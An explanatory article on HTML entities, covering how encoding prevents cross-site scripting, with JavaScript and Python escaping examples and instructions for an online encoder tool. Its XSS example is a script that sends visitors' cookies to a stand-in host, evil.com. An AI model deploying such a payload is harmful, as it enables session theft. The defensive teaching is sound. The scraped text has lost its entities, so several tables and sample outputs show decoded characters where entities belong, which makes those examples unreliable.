You paste a code sample into a blog post, hit publish, and half of it vanishes. The browser saw <div> and treated it as a real tag. HTML entities are how you tell it to show the character instead of acting on it.
They’re also your first line of defense against one of the most common web attacks, so they’re worth understanding properly.
What HTML entities are
An HTML entity is a short code that stands for a character. It starts with an ampersand (&) and ends with a semicolon (;). In between is either a name, such as <, or a number, such as <.
Entities exist because some characters mean something to the HTML parser. The less-than sign opens a tag, so to show a literal < on the page you write <. The browser displays the character instead of treating it as markup. This is how pages show code samples and math.
Entities were also the way to include characters such as € or non-Latin letters when pages used ASCII or Latin-1. With UTF-8, which nearly every page now uses, you can type those characters directly. Only the reserved characters strictly need encoding.
Why encoding matters
Preventing cross-site scripting (XSS)
Cross-site scripting (XSS) happens when an attacker gets their own JavaScript to run on a page other people view. The classic case is a comment form that writes user input straight into the HTML:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Rendered as-is, that script runs in every visitor’s browser. Encoded, it becomes harmless text that is displayed, not executed:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Encoding output is the main defense against XSS, which is why template engines and frontend frameworks do it by default.
Displaying reserved characters
HTML reserves five characters:
<and>, which delimit tags&, which starts an entity"and', which delimit attribute values
Written raw, they can be misread. Text such as ©=1 in a URL may be shown as ©=1, because the browser sees an entity.
Making invisible characters visible in source
Some characters look like nothing in an editor: a non-breaking space, a soft hyphen, a zero-width space. Writing them as , ­ or ​ makes your intent obvious to whoever reads the source next.
Named and numeric entities
A named entity uses a short, memorable name. A numeric entity uses the character’s Unicode code point, either in decimal (&#) or in hexadecimal (&#x):
Char Named Decimal Hex
& & & &
< < < <
> > > >
" " " "
' ' ' '
(nbsp)    
© © © ©
€ € € €
— — — —
™ ™ ™ ™Named entities are easier to read, but not every character has one. Numeric entities work for any character. ' wasn't part of HTML 4, so ' is the safer choice for a single quote if old parsers might read your output. HTML5 supports both.
Encoding and decoding in JavaScript
JavaScript has no built-in HTML escape function, but a few replacements cover the reserved characters:
function encodeHtmlEntities(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
encodeHtmlEntities('<script>alert("xss")</script>');
// <script>alert("xss")</script>Replace & first. Otherwise the ampersands in the entities you just wrote get encoded again, and < turns into &lt;.
In the browser you can decode with the DOM. A textarea treats its content as text, so nothing in the string runs:
function decodeHtmlEntities(str) {
const textarea = document.createElement("textarea");
textarea.innerHTML = str;
return textarea.value;
}
decodeHtmlEntities("<div class="box">");
// <div class="box">In Node.js, which has no DOM, use a library such as he or entities. With he, escape encodes the reserved characters and decode understands every named and numeric entity:
import he from "he";
he.escape('<script>alert("xss")</script>');
// "<script>alert("xss")</script>"
he.decode("<p>Hello & welcome</p>");
// "<p>Hello & welcome</p>"Encoding and decoding in Python
The standard library’s html module does both. html.escape encodes &, < and >, and by default (quote=True) also both kinds of quote:
import html
html.escape("It's a <test> & \"more\"")
# It's a <test> & "more"
html.escape("It's a <test>", quote=False)
# It's a <test>
html.unescape("<div>Hello & welcome</div>")
# <div>Hello & welcome</div>To turn every non-ASCII character into a numeric entity, encode to ASCII with the xmlcharrefreplace error handler:
text = "Price: €50 — 20% off™"
text.encode("ascii", "xmlcharrefreplace").decode("ascii")
# Price: €50 — 20% off™Using the HTML entity encoder and decoder
- Open the HTML entity encoder and decoder and choose Encode or Decode.
- Paste your text. When encoding, you can tick Encode all non-ASCII characters to turn characters such as
éor€into decimal entities, and Use numeric entities to write the special characters as<instead of<. - Select Encode or Decode, then Copy the result. Swap moves the output back into the input and flips the direction.
Encoding always escapes the five reserved characters plus /, ` and =, which can matter in unquoted attributes. Decoding understands every decimal and hex entity and about 45 common named ones, including , ©, — and the curly quotes. Rarer named entities are left as they are. Everything runs in your browser.
Good habits
- Encode all user-generated content before it goes into HTML.
- Encode on output, not on input. Store the original text and encode it where it's inserted into the page, so you can encode correctly for each context.
- Rely on your framework. React escapes values in JSX, Django and Rails templates escape variables by default. Bypassing that with
dangerouslySetInnerHTML,|safeorhtml_safeshould be rare and deliberate. - Encode for the right context. HTML entity encoding protects element content and quoted attributes. It doesn't make a value safe inside a
<script>block, an event handler such asonclick, or a URL. Those need JavaScript or URL encoding, and ideally not untrusted input at all. - Watch for double encoding. If you see
&amp;on a page, the same text was encoded more than once. It happens to everyone eventually.